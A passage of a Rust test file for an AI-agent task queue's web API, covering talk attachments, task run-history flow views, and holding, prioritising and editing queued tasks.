9160 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9161 let f = Fixture::start().await;
9162 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9163
9164 let res = f
9167 .post_bytes(
9168 &format!("/api/talks/{id}/attachments"),
9169 &[("Content-Type", "image/png")],
9170 b"<html>not a picture</html>",
9171 )
9172 .await;
9173 assert!((400..500).contains(&res.status), "{}", res.body);
9174 }
9175
9176 #[tokio::test]
9177 async fn an_unknown_attachment_id_is_a_404() {
9178 let f = Fixture::start().await;
9179 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9180
9181 let res = f
9182 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9183 .await;
9184 assert_eq!(res.status, 404, "{}", res.body);
9185 }
9186
9187 #[tokio::test]
9188 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9189 let f = Fixture::start().await;
9190 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9191
9192 let uploaded = f
9193 .post_bytes(
9194 &format!("/api/talks/{id}/attachments"),
9195 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9196 PNG_BYTES,
9197 )
9198 .await;
9199 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9200 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9201
9202 let res = f
9203 .post(
9204 &format!("/api/talks/{id}/say"),
9205 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9206 )
9207 .await;
9208 assert_eq!(res.status, 202, "{}", res.body);
9209 let queued = res.json();
9210 let turns = queued["turns"].as_array().expect("turns array");
9211 assert_eq!(
9212 turns.len(),
9213 1,
9214 "an empty body with an attachment is still a turn: {queued}"
9215 );
9216 assert_eq!(turns[0]["who"], "operator");
9217 assert_eq!(turns[0]["body"], "");
9218 let atts = turns[0]["attachments"]
9219 .as_array()
9220 .expect("attachments array");
9221 assert_eq!(atts.len(), 1);
9222 assert_eq!(atts[0]["id"], att_id);
9223 assert_eq!(atts[0]["mime"], "image/png");
9224
9225 let on_disk = f.talks().get(&id).expect("get");
9228 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9229 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9230 }
9231
9232 #[tokio::test]
9233 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9234 let f = Fixture::start().await;
9235 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9236
9237 let res = f
9238 .post(
9239 &format!("/api/talks/{id}/say"),
9240 Some(&format!(
9241 r#"{{"text":"hi","attachments":["{}"]}}"#,
9242 "a".repeat(32)
9243 )),
9244 )
9245 .await;
9246 assert!((400..500).contains(&res.status), "{}", res.body);
9247 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9248
9249 let on_disk = f.talks().get(&id).expect("get");
9250 assert!(
9251 on_disk.turns.is_empty(),
9252 "a rejected attachment id must not partially record the turn: {:?}",
9253 on_disk.turns
9254 );
9255 }
9256
9257 #[tokio::test]
9258 async fn talk_close_makes_the_talk_refuse_further_turns() {
9259 let f = Fixture::start().await;
9260 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9261
9262 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9263 assert_eq!(closed.status, 200, "{}", closed.body);
9264 assert_eq!(closed.json()["status"], "closed");
9265
9266 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9268 assert_eq!(closed_again.status, 200);
9269 assert_eq!(closed_again.json()["status"], "closed");
9270
9271 let said = f
9272 .post(
9273 &format!("/api/talks/{id}/say"),
9274 Some(r#"{"text":"too late"}"#),
9275 )
9276 .await;
9277 assert_eq!(said.status, 409, "{}", said.body);
9278 }
9279
9280 #[tokio::test]
9281 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9282 let (_tmp, _repo, f) = talk_fixture().await;
9283 let id = f.post("/api/talks", None).await.json()["id"]
9284 .as_str()
9285 .expect("id")
9286 .to_owned();
9287 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9288 assert_eq!(closed.status, 200, "{}", closed.body);
9289
9290 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9291 assert_eq!(reopened.status, 200, "{}", reopened.body);
9292 assert_eq!(reopened.json()["status"], "open");
9293
9294 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9296 assert_eq!(reopened_again.status, 200);
9297 assert_eq!(reopened_again.json()["status"], "open");
9298
9299 let said = f
9300 .post(
9301 &format!("/api/talks/{id}/say"),
9302 Some(r#"{"text":"still there?"}"#),
9303 )
9304 .await;
9305 assert_eq!(
9306 said.status, 202,
9307 "a reopened talk accepts turns again: {}",
9308 said.body
9309 );
9310 }
9311
9312 #[tokio::test]
9313 async fn talk_reopen_on_an_unknown_id_is_404() {
9314 let f = Fixture::start().await;
9315 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9316 assert_eq!(res.status, 404, "{}", res.body);
9317 }
9318
9319 #[tokio::test]
9320 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9321 let f = Fixture::start().await;
9322 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9323
9324 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9325 assert_eq!(deleted.status, 204, "{}", deleted.body);
9326
9327 let after = f.get(&format!("/api/talks/{id}")).await;
9328 assert_eq!(after.status, 404, "{}", after.body);
9329
9330 let listed = f.get("/api/talks").await.json();
9331 assert!(
9332 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9333 "a deleted talk must not linger in the list: {listed}"
9334 );
9335 }
9336
9337 #[tokio::test]
9338 async fn talk_delete_on_an_unknown_id_is_404() {
9339 let f = Fixture::start().await;
9340 let res = f.delete("/api/talks/nonexistent-id").await;
9341 assert_eq!(res.status, 404, "{}", res.body);
9342 }
9343
9344 #[tokio::test]
9348 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9349 let f = Fixture::start().await;
9350 let (a, b, gone) = (
9351 "20260902-140501-aaaa",
9352 "20260902-140502-bbbb",
9353 "20260902-140503-cccc",
9354 );
9355 write_run(&f.runs(), a, RunStatus::Stalled);
9356 let mut review = RunState::new(
9357 PathBuf::from("/repo/magi"),
9358 "main".to_owned(),
9359 "0123456789abcdef".to_owned(),
9360 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9361 .to_owned(),
9362 Config::default(),
9363 );
9364 review.id = b.to_owned();
9365 review.status = RunStatus::Merged;
9366 write_state(&f.runs(), &review);
9367
9368 let mut task = Task::new(
9369 "retry".to_owned(),
9370 "Do the thing".to_owned(),
9371 PathBuf::from("/repo/magi"),
9372 Source::Human,
9373 );
9374 task.start(a.to_owned());
9375 task.stall("quota");
9376 task.start(a.to_owned());
9377 task.start(b.to_owned());
9378 task.start(gone.to_owned());
9379 f.queue().put(&mut task).expect("file the task");
9380
9381 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9382 assert_eq!(res.status, 200, "{}", res.body);
9383 let v = res.json();
9384 let h = v["history"].as_array().expect("history");
9385 assert_eq!(h.len(), 4, "{v}");
9386 assert_eq!(h[0]["kind"], "competition");
9387 assert_eq!(h[0]["status"], "stalled");
9388 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9389 assert_eq!(h[1]["kind"], "resume", "{v}");
9390 assert!(
9391 h[0]["outcome"]
9392 .as_str()
9393 .unwrap()
9394 .contains("unknown. Pass #2"),
9395 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9396 );
9397 assert!(
9398 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9399 "{v}"
9400 );
9401 assert!(
9402 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9403 "an unrecorded cause must not be narrated as an operator park: {v}"
9404 );
9405 assert_eq!(h[2]["kind"], "review");
9406 assert!(
9407 h[2]["description"]
9408 .as_str()
9409 .unwrap()
9410 .contains("magi/aaaa/A")
9411 );
9412 assert_eq!(h[2]["status"], "merged");
9413 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9414 assert_eq!(v["runs_unreadable"], 1);
9415 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9416 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9417 assert_eq!(nodes[4]["note"], "unreadable");
9418 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9419 assert_eq!(v["instruction"], "Do the thing");
9420 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9421
9422 let run = f.get(&format!("/api/runs/{a}")).await.json();
9424 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9425
9426 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9427 }
9428
9429 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9430 let mut s = RunState::new(
9431 PathBuf::from("/repo/magi"),
9432 "main".to_owned(),
9433 "0123456789abcdef".to_owned(),
9434 "Do it".to_owned(),
9435 Config::default(),
9436 );
9437 s.status = status;
9438 edit(&mut s);
9439 s
9440 }
9441
9442 fn flow_task(runs: &[&str]) -> Task {
9443 let mut t = Task::new(
9444 "t".to_owned(),
9445 "Do it".to_owned(),
9446 PathBuf::from("/repo/magi"),
9447 Source::Human,
9448 );
9449 for r in runs {
9450 t.start((*r).to_owned());
9451 }
9452 t
9453 }
9454
9455 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9456 let h = task_history(task, |id| {
9457 states
9458 .iter()
9459 .find(|(i, _)| *i == id)
9460 .and_then(|(_, s)| s.clone())
9461 });
9462 task_flow(task, &h, 5)
9463 }
9464
9465 #[test]
9466 fn flow_opens_with_the_chat_that_queued_the_task() {
9467 let mut t = flow_task(&[]);
9468 t.source = Source::Agent {
9469 run: "a b/c".to_owned(),
9470 node: crate::queue::CHAT_NODE.to_owned(),
9471 };
9472 let f = flow_for(&t, &[]);
9473 assert_eq!(f.nodes[0].key, "chat");
9474 assert_eq!(f.nodes[0].kind, "chat");
9475 assert_eq!(
9476 f.nodes[0].label,
9477 format!("Chat {}", crate::queue::short("a b/c"))
9478 );
9479 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9480 assert_eq!(f.nodes[1].key, "start");
9481 assert_eq!(
9482 f.edges[0],
9483 FlowEdge {
9484 from: "chat".to_owned(),
9485 to: "start".to_owned(),
9486 label: "queued from chat".to_owned(),
9487 attempt: AttemptCost::None,
9488 }
9489 );
9490 }
9491
9492 #[test]
9493 fn flow_has_no_chat_box_for_other_sources() {
9494 for source in [
9495 Source::Human,
9496 Source::Issue {
9497 number: 3,
9498 repo: "o/r".to_owned(),
9499 },
9500 Source::Agent {
9501 run: "20260904-014455-ab12".to_owned(),
9502 node: "implement".to_owned(),
9503 },
9504 ] {
9505 let mut t = flow_task(&[]);
9506 t.source = source;
9507 let f = flow_for(&t, &[]);
9508 assert_eq!(f.nodes[0].key, "start");
9509 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9510 assert!(f.edges.iter().all(|e| e.from != "chat"));
9511 }
9512 }
9513
9514 const FA: &str = "20260902-140501-aaaa";
9515 const FB: &str = "20260902-140502-bbbb";
9516
9517 #[test]
9518 fn flow_follows_blocked_retry_merged_to_done() {
9519 let mut t = flow_task(&[FA, FB]);
9520 t.status = TaskStatus::Done;
9521 let f = flow_for(
9522 &t,
9523 &[
9524 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9525 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9526 ],
9527 );
9528 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9529 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9530 assert_eq!(f.edges.len(), 3);
9531 assert_eq!(f.edges[0].label, "claimed");
9532 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9533 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9534 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9535 assert_eq!(
9536 f.nodes[2].href.as_deref(),
9537 Some("#/runs/20260902-140502-bbbb")
9538 );
9539 assert!(f.nodes[2].decided);
9540 }
9541
9542 #[test]
9543 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9544 let quota = || {
9545 flow_run(RunStatus::Stalled, |s| {
9546 s.quota.push(crate::run::QuotaLoss {
9547 seat: "judge-1".to_owned(),
9548 node: "judge".to_owned(),
9549 at: Timestamp::now(),
9550 reset: None,
9551 })
9552 })
9553 };
9554 let mut t = flow_task(&[FA, FA]);
9555 t.status = TaskStatus::Queued;
9556 let f = flow_for(&t, &[(FA, Some(quota()))]);
9557 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9558 assert_eq!(f.nodes[1].note, Some("interrupted"));
9559 assert_eq!(
9560 f.nodes[1].status, None,
9561 "no outcome copied onto an earlier pass"
9562 );
9563 assert_eq!(
9564 f.edges[1].attempt,
9565 AttemptCost::Unknown,
9566 "a resume does not prove the earlier pass was refunded"
9567 );
9568 assert!(f.edges[1].label.contains("resume the same run"));
9569 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9570 assert_eq!(
9571 f.edges[2].label,
9572 "stalled after a resume, refund unknown \u{2192} queued"
9573 );
9574 assert!(!f.nodes[2].decided, "a stall is not a decision");
9575 assert_eq!(f.nodes[2].note, Some("no verdict"));
9576 }
9577
9578 #[test]
9579 fn flow_single_pass_quota_stall_is_refunded() {
9580 let t = flow_task(&[FA]);
9581 let f = flow_for(
9582 &t,
9583 &[(
9584 FA,
9585 Some(flow_run(RunStatus::Stalled, |s| {
9586 s.quota.push(crate::run::QuotaLoss {
9587 seat: "judge-1".to_owned(),
9588 node: "judge".to_owned(),
9589 at: Timestamp::now(),
9590 reset: None,
9591 })
9592 })),
9593 )],
9594 );
9595 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9596 }
9597
9598 #[test]
9599 fn flow_parked_refunds_and_stall_without_quota_spends() {
9600 let mut t = flow_task(&[FA]);
9601 t.status = TaskStatus::Queued;
9602 let f = flow_for(
9603 &t,
9604 &[(
9605 FA,
9606 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9607 )],
9608 );
9609 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9610 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9611 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9612 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9613 assert!(!f.nodes[1].decided);
9614 }
9615
9616 #[test]
9617 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9618 let t = flow_task(&[FA, FB]);
9619 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9620 assert_eq!(f.nodes[1].note, Some("unreadable"));
9621 assert!(!f.nodes[1].readable);
9622 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9623 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9624 }
9625
9626 #[test]
9627 fn flow_names_the_branch_of_a_review_only_run() {
9628 let t = flow_task(&[FA]);
9629 let f = flow_for(
9630 &t,
9631 &[(
9632 FA,
9633 Some(flow_run(RunStatus::Merged, |s| {
9634 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9635 })),
9636 )],
9637 );
9638 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9639 assert_eq!(
9640 f.nodes[1].detail.as_deref(),
9641 Some("review-only run of branch magi/x/A")
9642 );
9643 }
9644
9645 #[test]
9646 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9647 let mut t = flow_task(&[FA]);
9648 t.status = TaskStatus::Held;
9649 let pr = crate::run::PrRecord {
9650 url: "https://example.test/pr/1".to_owned(),
9651 number: 1,
9652 state: "open".to_owned(),
9653 checks: "green".to_owned(),
9654 round: 0,
9655 rounds: 3,
9656 red_at_merge: Vec::new(),
9657 };
9658 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9659 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9660 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9661 t.status = TaskStatus::Done;
9662 let f = flow_for(&t, &[(FA, Some(blocked))]);
9663 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9664 }
9665
9666 #[test]
9667 fn flow_with_no_runs_goes_from_queued_to_queued() {
9668 let t = flow_task(&[]);
9669 let f = flow_for(&t, &[]);
9670 assert_eq!(f.nodes.len(), 2);
9671 assert_eq!(f.edges.len(), 1);
9672 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9673 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9674 }
9675
9676 #[test]
9679 fn a_parked_non_terminal_run_is_explained_as_parked() {
9680 let mut s = RunState::new(
9681 PathBuf::from("/repo/magi"),
9682 "main".to_owned(),
9683 "0123456789abcdef".to_owned(),
9684 "Do it".to_owned(),
9685 Config::default(),
9686 );
9687 s.status = RunStatus::Implementing;
9688 s.parked = true;
9689 let task = Task::new(
9690 "t".to_owned(),
9691 "Do it".to_owned(),
9692 PathBuf::from("/repo/magi"),
9693 Source::Human,
9694 );
9695 let v = task_run_view(
9696 "20260902-140501-aaaa",
9697 Some(&s),
9698 RunSlot {
9699 n: 1,
9700 resumed: false,
9701 resumed_later: None,
9702 prior: None,
9703 last: true,
9704 },
9705 &task,
9706 );
9707 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9708 }
9709
9710 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9711 let mut s = flow_run(RunStatus::Implementing, edit);
9712 s.parked = false;
9713 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9714 task_run_view(
9715 "20260902-140501-aaaa",
9716 Some(&s),
9717 RunSlot {
9718 n: 1,
9719 resumed: false,
9720 resumed_later: Some(2),
9721 prior: None,
9722 last: false,
9723 },
9724 &task,
9725 )
9726 }
9727
9728 #[test]
9729 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9730 let v = earlier_pass_view(|_| {});
9731 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9732 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9733 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9734 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9735 assert_eq!(v.exit, RunExit::Interrupted);
9736 assert_eq!(v.attempt, AttemptCost::Unknown);
9737 }
9738
9739 #[test]
9740 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9741 let v = earlier_pass_view(|s| {
9742 s.quota.push(crate::run::QuotaLoss {
9743 seat: "judge-1".to_owned(),
9744 node: "judge".to_owned(),
9745 at: Timestamp::now(),
9746 reset: None,
9747 });
9748 });
9749 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9750 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9751 assert_eq!(v.attempt, AttemptCost::Unknown);
9752 }
9753
9754 #[test]
9755 fn the_current_pass_states_its_recorded_cause_and_cost() {
9756 let slot = || RunSlot {
9757 n: 1,
9758 resumed: false,
9759 resumed_later: None,
9760 prior: None,
9761 last: true,
9762 };
9763 let task = flow_task(&["20260902-140501-aaaa"]);
9764 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9765 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9766 assert_eq!(
9767 (v.exit, v.attempt),
9768 (RunExit::Parked, AttemptCost::Refunded)
9769 );
9770 let spent = flow_run(RunStatus::Blocked, |_| {});
9771 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9772 assert_eq!(v.attempt, AttemptCost::Spent);
9773 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9774 }
9775
9776 #[tokio::test]
9777 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9778 let f = Fixture::start().await;
9779 let queue = f.queue();
9780 let mut task = Task::new(
9781 "spent".to_owned(),
9782 "Try again".to_owned(),
9783 PathBuf::from("/repo/magi"),
9784 Source::Human,
9785 );
9786 task.start("20260902-140502-bbbb".to_owned());
9787 task.fail("agent gave up", 9);
9788 queue.put(&mut task).expect("file the task");
9789
9790 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9791 assert_eq!(held.status, 200);
9792 assert_eq!(held.json()["status_str"], "held");
9793
9794 let released = f
9795 .post(&format!("/api/queue/{}/release", task.id), None)
9796 .await;
9797 assert_eq!(released.status, 200);
9798 assert_eq!(released.json()["status_str"], "queued");
9799 assert_eq!(
9800 released.json()["attempts"],
9801 0,
9802 "release is a real second chance, not an instant re-hold"
9803 );
9804 assert_eq!(
9805 queue.get(&task.id).expect("reload").status,
9806 TaskStatus::Queued,
9807 "the change is on disk, not only in the reply"
9808 );
9809 assert!(
9810 !f.home
9811 .path()
9812 .join("queue")
9813 .join(format!("{}.lock", task.id))
9814 .exists(),
9815 "the claim the mutation took is released again"
9816 );
9817 }
9818
9819 #[tokio::test]
9820 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9821 let f = Fixture::start().await;
9822 let queue = f.queue();
9823 let mut task = Task::new(
9824 "busy".to_owned(),
9825 "Running right now".to_owned(),
9826 PathBuf::from("/repo/magi"),
9827 Source::Human,
9828 );
9829 queue.put(&mut task).expect("file the task");
9830 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9831
9832 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9833
9834 assert_eq!(res.status, 409);
9835 assert_eq!(
9836 queue.get(&task.id).expect("reload").status,
9837 TaskStatus::Queued,
9838 "the refused hold changed nothing"
9839 );
9840 }
9841
9842 #[tokio::test]
9843 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9844 let f = Fixture::start().await;
9845 let queue = f.queue();
9846 let mut task = Task::new(
9847 "waiting on the migration".to_owned(),
9848 "Do the thing".to_owned(),
9849 PathBuf::from("/repo/magi"),
9850 Source::Human,
9851 );
9852 queue.put(&mut task).expect("file the task");
9853
9854 let held = f
9855 .post(
9856 &format!("/api/queue/{}/hold", task.id),
9857 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9858 )
9859 .await;
9860 assert_eq!(held.status, 200, "{}", held.body);
9861 assert_eq!(held.json()["status_str"], "held");
9862 assert_eq!(
9863 held.json()["hold_reason"],
9864 "waiting for 20260101-000000-aaaa to land"
9865 );
9866
9867 let listed = f.get("/api/queue").await.json();
9868 assert_eq!(
9869 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9870 "the card reads the reason off the same list route"
9871 );
9872
9873 let mut plain = Task::new(
9876 "no reason given".to_owned(),
9877 "Do another thing".to_owned(),
9878 PathBuf::from("/repo/magi"),
9879 Source::Human,
9880 );
9881 queue.put(&mut plain).expect("file the task");
9882 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9883 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9884 assert!(held_plain.json()["hold_reason"].is_null());
9885
9886 let released = f
9887 .post(&format!("/api/queue/{}/release", task.id), None)
9888 .await;
9889 assert_eq!(released.status, 200);
9890 assert!(
9891 released.json()["hold_reason"].is_null(),
9892 "a release must clear the reason so the next hold does not inherit it"
9893 );
9894 }
9895
9896 #[tokio::test]
9897 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9898 let f = Fixture::start().await;
9899 let queue = f.queue();
9900 let mut older = Task::new(
9901 "filed first".to_owned(),
9902 "x".to_owned(),
9903 PathBuf::from("/repo/magi"),
9904 Source::Human,
9905 );
9906 older.id = "20260101-000001-aaaa".to_owned();
9907 let mut newer = Task::new(
9908 "filed second".to_owned(),
9909 "x".to_owned(),
9910 PathBuf::from("/repo/magi"),
9911 Source::Human,
9912 );
9913 newer.id = "20260101-000002-bbbb".to_owned();
9914 queue.put(&mut older).expect("file older");
9915 queue.put(&mut newer).expect("file newer");
9916
9917 let before = f.get("/api/queue").await.json();
9920 assert_eq!(before[0]["id"], newer.id);
9921 assert_eq!(before[1]["id"], older.id);
9922
9923 let raised = f
9927 .post(
9928 &format!("/api/queue/{}/priority", older.id),
9929 Some(r#"{"priority":10}"#),
9930 )
9931 .await;
9932 assert_eq!(raised.status, 200, "{}", raised.body);
9933 assert_eq!(raised.json()["priority"], 10);
9934
9935 let after = f.get("/api/queue").await.json();
9936 let names: Vec<&str> = after
9937 .as_array()
9938 .unwrap()
9939 .iter()
9940 .map(|t| t["id"].as_str().unwrap())
9941 .collect();
9942 assert_eq!(names[0], older.id, "the raised task now sorts first");
9946 }
9947
9948 #[tokio::test]
9949 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9950 let f = Fixture::start().await;
9951 let queue = f.queue();
9952 let mut task = Task::new(
9953 "in flight".to_owned(),
9954 "x".to_owned(),
9955 PathBuf::from("/repo/magi"),
9956 Source::Human,
9957 );
9958 task.start("20260902-140502-bbbb".to_owned());
9959 queue.put(&mut task).expect("file the task");
9960
9961 let res = f
9962 .post(
9963 &format!("/api/queue/{}/priority", task.id),
9964 Some(r#"{"priority":9}"#),
9965 )
9966 .await;
9967 assert_eq!(res.status, 400, "{}", res.body);
9968 assert!(
9969 res.json()["error"]
9970 .as_str()
9971 .is_some_and(|e| e.contains("running")),
9972 "{}",
9973 res.body
9974 );
9975 assert_eq!(
9976 queue.get(&task.id).expect("reload").priority,
9977 0,
9978 "the refused write must not partially apply"
9979 );
9980 }
9981
9982 #[tokio::test]
9983 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9984 let f = Fixture::start().await;
9985 let queue = f.queue();
9986 let mut task = Task::new(
9987 "old title".to_owned(),
9988 "old instruction".to_owned(),
9989 PathBuf::from("/repo/magi"),
9990 Source::Agent {
9991 run: "20260101-000000-beef".to_owned(),
9992 node: "implement".to_owned(),
9993 },
9994 );
9995 task.runs.push("20260101-000000-beef".to_owned());
9996 queue.put(&mut task).expect("file the task");
9997 let created_at = task.created_at;
9998
9999 let edited = f
10000 .post(
10001 &format!("/api/queue/{}/edit", task.id),
10002 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10003 )
10004 .await;
10005 assert_eq!(edited.status, 200, "{}", edited.body);
10006 let body = edited.json();
10007 assert_eq!(body["title"], "new title");
10008 assert_eq!(body["instruction"], "new instruction");
10009 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10010 assert_eq!(body["created_at"], created_at.to_string());
10011 assert_eq!(
10012 body["source"]["kind"], "agent",
10013 "editing a task an agent filed must not turn it human: {body}"
10014 );
10015 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10016
10017 let reloaded = queue.get(&task.id).expect("reload");
10018 assert_eq!(reloaded.title, "new title");
10019 assert_eq!(reloaded.instruction, "new instruction");
10020 }
10021
10022 #[tokio::test]
10023 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10024 let tmp = TempDir::new().expect("tempdir");
10027 let repo = tmp.path().join("repo");
10028 std::fs::create_dir_all(&repo).expect("repo dir");
10029 let judge = MOCK_AGENT_TOML.replace(
10030 "printf ok",
10031 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10032 );
10033 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10034 let f = Fixture::with_repo(repo.clone()).await;
10035 let queue = f.queue();
10036 let mut owner = Task::new(
10037 "owner".to_owned(),
10038 "review it".to_owned(),
10039 repo.clone(),
10040 Source::Human,
10041 );
10042 owner.review_branch = Some("magi/ab12/A".to_owned());
10043 queue.put(&mut owner).expect("file the owner");
10044 let mut task = Task::new(
10045 "draft".to_owned(),
10046 "old".to_owned(),
10047 repo.clone(),
10048 Source::Human,
10049 );
10050 queue.put(&mut task).expect("file the draft");
10051 let url = format!("/api/queue/{}/edit", task.id);
10052
10053 let refused = f
10054 .post(
10055 &url,
10056 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10057 )
10058 .await;
10059 assert_eq!(refused.status, 409, "{}", refused.body);
10060 let msg = refused.json()["error"]
10061 .as_str()
10062 .unwrap_or_default()
10063 .to_owned();
10064 assert!(
10065 msg.contains("magi/ab12/A") && msg.contains("force"),
10066 "{msg}"
10067 );
10068 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10069
10070 let forced = f
10071 .post(
10072 &url,
10073 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10074 )
10075 .await;
10076 assert_eq!(forced.status, 200, "{}", forced.body);
10077 }
10078
10079 #[tokio::test]
10080 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10081 let f = Fixture::start().await;
10082 let queue = f.queue();
10083 let mut task = Task::new(
10084 "in flight".to_owned(),
10085 "do not touch".to_owned(),
10086 PathBuf::from("/repo/magi"),
10087 Source::Human,
10088 );
10089 task.start("20260902-140502-bbbb".to_owned());
10090 queue.put(&mut task).expect("file the task");
10091
10092 let res = f
10093 .post(
10094 &format!("/api/queue/{}/edit", task.id),
10095 Some(r#"{"title":"x","instruction":"y"}"#),
10096 )
10097 .await;
10098 assert_eq!(res.status, 400, "{}", res.body);
10099 assert!(
10100 res.json()["error"]
10101 .as_str()
10102 .is_some_and(|e| e.contains("running")),
10103 "{}",
10104 res.body
10105 );
10106 assert_eq!(
10107 queue.get(&task.id).expect("reload").instruction,
10108 "do not touch",
10109 "the refused edit must not change the file"
10110 );
10111 }
10112
10113 #[tokio::test]
10114 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10115 let f = Fixture::start().await;
